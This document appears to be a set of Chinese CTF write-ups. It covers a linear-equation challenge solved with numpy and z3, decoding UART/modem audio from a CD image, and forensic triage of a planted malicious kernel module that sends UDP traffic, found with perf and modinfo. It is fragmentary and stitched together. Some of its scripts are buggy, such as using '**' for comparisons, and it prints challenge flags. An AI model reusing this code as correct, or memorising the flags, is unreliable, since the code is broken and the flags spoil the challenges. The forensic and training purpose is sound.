54*a9 +53*a10 + 38*a11 + 72*a12 + 50*a13+1*a14 +15*a15 + 89*a16+79*a17+17*a18 + 32*a19 + 58*a20 +64*a21 +68*a22 + 12*a23+92*a24 +53*a25 +33*a26 + 54*a27 + 67*a28 +34*a29 + 25*a30 +37*a31=140482 89*a1 + 93*a2 + 48*a3 +5*a4 +37*a5 + 76*a6 + 32*a7 + 66*a8 + 25*a9 + 39*a10 + 59*a11 + 14*a12 +48*a13 +62*a14 +4*a15 + 76*a16 + 72*a17 + 78*a18+40*a19 +96*a20 +68*a21 +35*a22 + 89*a23 + 3*a24 +29*a25 +17*a26 + 63*a27 + 43*a28 +61*a29 + 37*a30 +12*a31=142706 4*a1 +25*a2 + 16*a3 +45*a4 + 65*a5 +17*a6 + 39*a7 +59*a8 + 82*a9 +54*a10 +69*a11 +59*a12+86*a13 +37*a14 +70*a15+ 21*a16 + 46*a17 + 89*a18 + 96*a19 + 32*a20 + 35*a21 +69*a22 + 22*a23 +13*a24 +95*a25 + 58*a26 +94*a27 +29*a28+84*a29 + 24*a30 + 3*a31=146480 50*a1 +48*a2 +87*a3 +37*a4 + 53*a5 + 19*a6 +24*a7 +30*a8 + 40*a9 +31*a10 +18*a11 +89*a12 +81*a13 + 70*a14 +98*a15 + 87*a16 +98*a17 +82*a18+31*a19+71*a20+30*a21 +28*a22 + 95*a23 +22*a24 +15*a25+73*a26 +51*a27 +92*a28 +32*a29 + 97*a30 + 65*a31 = 168401 40*a1+20*a2+13*a3+25*a4+ 87*a5 + 95*a6 + 47*a7 +80*a8 + 22*a9 +43*a10 + 4*a11 + 83*a12 + 50*a13 +85*a14 + 39*a15 + 22*a16+75*a17 +3*a18 + 22*a19 +6*a20 +16*a21 +29*a22 + 65*a23 + 19*a24 + 64*a25 +48*a26 +41*a27 +8*a28 +10*a29 + 66*a30 +12*a31= 117331 37*a1 + 49*a2 + 63*a3 + 49*a4+ 3*a5 + 54*a6 + 52*a7 +61*a8 + 58*a9 + 36*a10 + 24*a11 + 6*a12 +46*a13 +47*a14 +16*a15 + 29*a16 + 83*a17 +2*a18 + 50*a19 + 94*a20 + 38*a21 +56*a22 + 34*a23+13*a24 +34*a25+12*a26 + 41*a27 +47*a28 +35*a29 + 67*a30 +74*a31= 125357 37*a1+ 2*a2 +12*a3+84*a4 +79*a5 + 36*a6 + 93*a7 +64*a8 + 68*a9 +7*a10 +37*a11 +58*a12 +68*a13+49*a14 +19*a15 + 95*a16 +43*a17 +22*a18+10*a19 +21*a20 +70*a21 +72*a22 + 73*a23+19*a24 +32*a25 + 8*a26 + 6*a27 + 89*a28 +43*a29 + 32*a30+95*a31= 138223 24*a1 + 23*a2 + 12*a3 +73*a4 + 32*a5 + 3*a6 + 61*a7 +51*a8 + 85*a9 + 94*a10 +36*a11 + 90*a12 + 49*a13 + 97*a14+18*a15 + 55*a16 +26*a17 + 40*a18+39*a19 +95*a20 +61*a21 +17*a22 + 29*a23 +7*a24 + 40*a25 +58*a26 +5*a27 + 49*a28 +2*a29 + 83*a30 +69*a31 = 136759 64*a1 +28*a2 +52*a3+74*a4+ 84*a5 + 36*a6 +39*a7 +55*a8 + 40*a9 + 44*a10+ 47*a11 + 23*a12 +1*a13 +58*a14 +33*a15 + 25*a16 +70*a17 +20*a18 +45*a19 +33*a20 +15*a21 +77*a22 + 46*a23 + 8*a24 +5*a25 + 98*a26 +39*a27 +72*a28 +9*a29 + 99*a30 +25*a31=128285 39*a1 + 8*a2 +57*a3 +39*a4 +27*a5 + 98*a6 + 70*a7 +77*a8 + 97*a9 +20*a10 + 5*a11 +2*a12 +62*a13 +88*a14 +42*a15 + 58*a16 +86*a17 +94*a18 +91*a19 + 76*a20 + 46*a21 +32*a22 + 10*a23+75*a24 +99*a25 + 62*a26 + 76*a27 +78*a28 +72*a29 + 50*a30 +50*a31= 173243

"""

  

# 我们使用正则表达式来分割文本并提取数字

# 假设所有系数都是正整数

equations = text.strip().split('\n')

coefficient_matrix = []

constants = []

  

# 正则表达式用于匹配方程中的数字

regex = r"(-?\d+)\*a\d+"

  

for equation in equations:

    # 提取所有系数

    coefficients = [int(x) for x in re.findall(regex, equation)]

    coefficient_matrix.append(coefficients)

    # 提取等号后面的常数

    constant = re.findall(r'=\s?(\d+)', text)

    constants.append(constant)

  

# 假设flat_list是你的原始二维数组(列表的列表)  

flat_list = coefficient_matrix

# 首先将二维数组展平为一维数组  

one_dimensional_list = [item for sublist in flat_list for item in sublist]  

# 然后按照每31个元素进行分组  

grouped_list = [one_dimensional_list[i:i+31] for i in range(0, len(one_dimensional_list), 31)]  

# 现在grouped_list是一个包含多个子列表的列表,每个子列表包含31个元素(除了最后一个可能少于31个)  

  
  

# 将列表转换为NumPy数组

  

print(len(constants[0]))

new_constants=constants[0]

A = np.array(grouped_list)

B = np.array(new_constants)

# 在尝试解决方程式之前,打印出系数矩阵和常数数组的形状以进行调试

print("Coefficient matrix shape:", A.shape)

print("Constants array shape:", B.shape)

try:

    B = np.array(B, dtype=np.float64)

except ValueError as e:

    print("B contains non-numeric data. Error:", e)

    # 处理错误或者退出程序

    exit()

  

# 现在我们可以尝试解方程组

if A.shape[0] ** A.shape[1] and B.shape[0] ** A.shape[0]:

    try:

        solution = np.linalg.solve(A, B)

        print(solution)

    except np.linalg.LinAlgError as e:

        print("Cannot solve the system:", e)  # 更详细的错误信息

else:

    print("Cannot solve the system: coefficient matrix is not square or constants array does not match.")

codes = [102, 108, 97, 103, 123, 108, 48, 110, 103, 95, 49, 105, 118, 51, 95, 116, 72, 101, 95, 108, 105, 84, 52, 110, 103, 95, 107, 105, 78, 103, 125]

flag=''

for i in codes:

    flag+=chr(i)

    print(flag)

image.png flag{l0ng_1iv3_tHe_liT4ng_kiNg} 正则练习与验证在regex101

如何优雅处理数学问题

res = open('yes.txt','r').read().strip()  
res = res.split('\n')  
#print(len(res))  
from z3 import *  
for i in range(1,32):  
    exec(f"a{i} = BitVec('a{i}',7)")  
      
s = Solver()  
  
for i in res:  
    s.add(eval(i))  
  
# 有解对结果进行处理	  
flag = ""  
if s.check() ** sat:  
    res = s.model()  
    for i in range(1,32):  
        name = f'res[a{i}]'  
        num = eval(name)  
        #print(chr(int(str(num))))  
        flag += chr(int(str(num)))  
  
print(flag)  
# flag{l0ng_1iv3_tHe_liT4ng_kiNg}

过去的CD

出题人题解

过去的CD

题目名叫过去的CD,提取出来里面是哔哔嘟嘟的音频,给的 hint 是 UART,如果给音频放快一点 + 有点

过去的记忆可以想起这是大概是 modem,实际确实也是,不过调低了比特率,可以使用 minimodem

等软件尝试识别,需要调整 startbit 和 endbits 都为0 image.png

不知道也没关系,可以用 UltraISO 等软件提取 CD 映像里的音频,再使用 Audacity 等软件打开,切换成

频谱图,可以看见频率很明显按二进制数据跳变,低频率为0,高频率为1

hint 给了 UART,这里需要花点时间去尝试用 UART 标准里不同的数据传输格式,即起始位终止位校验

位的有无,但不变的是数据按 LeastSignificantBit first 低位先方式传输,结合 flag 开头不变的 flag{

可以得到起始位终止位校验位都没有,进而解出整个 flag

cx wp

sound4old.nrg文件

题目给了一个**nrg 文件**,用软碟通查看,发现有一个 wav 音频,提取出来 不如 Audition 用 Audacity查看音频,选择 音高 ,发现音频只有上下两种状态,且间隔比较固定,猜测是二进制 image.png 如何选择音高???? image.png 频谱图可以设置 image.png

用 Audacity查看音频,选择 音高 ,发现音频只有上下两种状态,且间隔比较固定,猜测是二进制。

image.png

根据上为1,下为0,以第一个下的宽度为固定间隔,把音频转成1和0。(手动转换)

PLAINTEXT

复制成功

最后把二进制转成字符(这里直接用大b哥的工具)即可得到flag。

帕鲁服务器1#2

题目给了个vmdk虚拟磁盘 image.png

之后在添加虚拟磁盘 NAT网络—–wireshark抓包 image.png

image.png

cx wp

先用火眼把恶意软件提取出来。 我用取证大师也是同理 根据创建时间判断出恶意程序。

ida分析,看到一个类似flag的字符串。 image.png

这是 帕鲁服务器#2 的flag。

再接着分析:

这部分代码对v4做了个异或,猜测是 帕鲁服务器#1 flag,写个脚本解出来。

#include<iostream>  
using namespace std;  
  
int main()  
{  
	int a[33]={  
	   67,  73,  68,  66,  94, 112,  87, 122,  86,  22,   
	   87, 115,  64,  87, 122,  20,  86, 122,  75,  21,   
	   82, 122,  72, 124, 122,  85,  17,  73,  88};  
	for(int i=0;i<=28;i++){  
		cout << char(a[i]^0x25);

出题人题解

帕鲁服务器#2 先进入单用户模式 本题试图让选手变成杀毒软件 本题考察选手对 Linux 系统的进阶使用和运维

非预期解:按修改时间列出文件发现一个贼新的给我秒了😭

既然每隔一段时间就会发送目标 UDP 流量,则数据包必然会经过 Linux 内核的网络栈,此时我们可以通 过 perf、ebpf 等工具或方法对这一系列行为进行监控,这里选择 perf

结果如下 image.png

arr[idx-1] = solve[i]

print("".join([chr(i) for i in arr]))

perf trace -v --event 'net:*' -a --call-graph fp注意到发送的 UDP 包大小是 72 字节,而 log 中也有 72 字节的记录,观察其 stacktrace,发现都是内核符号,继续使用 perf 查询

perf kallsyms sock_sendmsg send_msg.constprop.0.isra.0 run ...

发现其他函数都来自内核本体,而 run send_msg.constprop.0.isra.0 这两个函数来自一个叫kernelsend 的内核模块,非常可疑,使用 modinfo 查询 image.png

值得一提的是其实在系统开机时或者查询 dmesg 时可以看到内核吐的警告,说加载的 kernelsend 是树外模块,此时就应提高警惕了

本系列题同时对这两个 flag 进行了简单加密防止选手直接开搜 flag{xxx} 但还是架不住找字符串内容

😡,下次加大力度